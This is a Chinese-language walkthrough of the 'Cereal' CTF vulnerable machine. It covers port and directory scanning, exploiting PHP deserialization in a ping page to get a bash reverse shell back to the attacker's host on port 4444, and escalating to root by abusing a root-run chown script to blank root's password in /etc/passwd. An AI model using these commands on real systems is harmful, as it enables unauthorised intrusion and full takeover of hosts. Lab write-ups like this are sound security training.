Cereal 靶机

环境准备

靶机链接:百度网盘 请输入提取码

提取码:bcj2

虚拟机网络链接模式:桥接模式

攻击机系统:kali linux 2021.1

信息收集

1.探测目标靶机 arp-scan -l

Cereal 靶机_第1张图片

2.nmap -p- -A -T4 192.168.1.107

探测目标靶机开放端口和服务

Cereal 靶机_第2张图片

Cereal 靶机_第3张图片

漏洞探测

1.登录ftp查看可利用信息

tp 192.168.1.107

没有找到可以利用的信息

Cereal 靶机_第4张图片

2.用gobuster对目录进行扫描

gobuster dir -u http://192.168.1.107 -w /usr/share/wordlists/dirb/big.txt -t 50

Cereal 靶机_第5张图片

3.访问扫到的目录

Cereal 靶机_第6张图片

4.http://192.168.1.107/admin/index.php 尝试sql注入的可能

Cereal 靶机_第7张图片

5.http://192.168.1.107/blog/ 网页加载不完整,查看源码

Cereal 靶机_第8张图片

6.curl -i -L http://192.168.1.107/blog 查看源码,发现域名信息

Cereal 靶机_第9张图片

7. echo '192.168.1.107 cereal.ctf' >> /etc/hosts

source /etc/hosts

再次访问页面正常状态

Cereal 靶机_第10张图片

Cereal 靶机_第11张图片

8.gobuster vhost -u http://cereal.ctf -w /usr/share/wordlists/dirb/big.txt

没有检测到任何子域信息

Cereal 靶机_第12张图片

9.访问44441端口

Cereal 靶机_第13张图片

10.用gobuster对44441端口,其子域进行扫描

Cereal 靶机_第14张图片

11.成功探测到子域信息,将子域添加到/etc/hosts

echo '192.168.1.107 secure.cereal.ctf' >> /etc/hosts

Cereal 靶机_第15张图片

12.访问网页是一个执行ping命令的网页,那就可能存在命令执行漏洞

Cereal 靶机_第16张图片

13.输入192.168.1.106-c 3;whoami

#-c 3 ping命令只执行三次 输入命令,没有回显。用curl命令看网页源码

Cereal 靶机_第17张图片

14.发现serialize()函数 这是序列化

Cereal 靶机_第18张图片

15. 扫描子域的目录

gobuster dir -u http://secure.cereal.ctf:44441 -w /usr/share/wordlists/dirb/big.txt -t 50

Cereal 靶机_第19张图片

Cereal 靶机_第20张图片

漏洞利用

1.更换字典,成功扫出back_en目录

gobuster dir -u http://secure.cereal.ctf:44441 \ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt -t 100 -e

Cereal 靶机_第21张图片

//一定要用-t 参数设置线程 要不然很慢,我这里用和没有差距在三分钟

Cereal 靶机_第22张图片

2.查看网页 curl -i -L http://secure.cereal.ctf:44441/back_en/

Cereal 靶机_第23张图片

3.成功扫出新目录

Cereal 靶机_第24张图片

4.用curl命令查看新目录的源码,发现为ping命令的代码

pingTest这个类具有三个属性 ipAddress 来自请求正文, isValid 确定输入是否有效以及随后发送的输出。默认情况下,isValid 的值为 False,因此从浏览器发送请求时,它一定都会进入 if 模块。该模块检查该值是否为 IP 地址。因此,当我们尝试注入命令时,它拒绝了输入,所以,如果我们在请求中发送值 True,则根本不会执行 if 块。然后,它会直接调用 ping 方法。

curl -i -L http://secure.cereal.ctf:44441/back_en/index.php.bak

Cereal 靶机_第25张图片

5.所以这里可以利用bp抓包,将public $isvalid = True;直接自己构造一个函数,进行反弹 shell的命令。

& /dev/tcp/192.168.1.106/4444 0>&1'";
	public $isValid =True;
}


echo urlencode(serialize(new pingTest))
?>

Cereal 靶机_第26张图片

6.抓到数据包后将obj=后的数据替换为自己构造的php代码即可反弹shell

Cereal 靶机_第27张图片

权限提升

1.SHELL=bash script -q /dev/null 回弹交互式shell

Cereal 靶机_第28张图片

2.在找不到任何有用信息后,上传我们的pspy64(github可以找到),

发现一个uid=0 也就是root用户执行的文件 chown.sh

Cereal 靶机_第29张图片

3.chown 需要超级用户 root 的权限才能执行此命令,通过chown改变文件的拥有者和群组 ,我们先查看chown.sh文件,发下只有可读权限,只有root有执行权限。

Cereal 靶机_第30张图片

4.chown.sh它这个命令的强大可以把我想改的文件去更换拥有者,所以创建一个软连接,让它来帮我去执行,/etc/passwd 文件是可读可写可更改的 那我们可以把root用户密码改为空,达到提权的目的

5.等过几分钟后,文件拥有者已经改变

6.etc/passwd 文件中的 x 是保存加密密码的地方。因此,如果我从该行中删除了 x ,也就是删除 root 用户的密码身份验证。

Cereal 靶机_第31张图片

7.由于靶机本地用vi命令无法改,故将passwd下载到本地,把root用户改为无密码登录,再上传到靶机,进行提权操作。

Cereal 靶机_第32张图片

Cereal 靶机_第33张图片

8.成功上传后,执行su命令进入root目录 拿下flag!!!

Cereal 靶机_第34张图片

你可能感兴趣的:(Walkthrough系列,linux,网络,运维)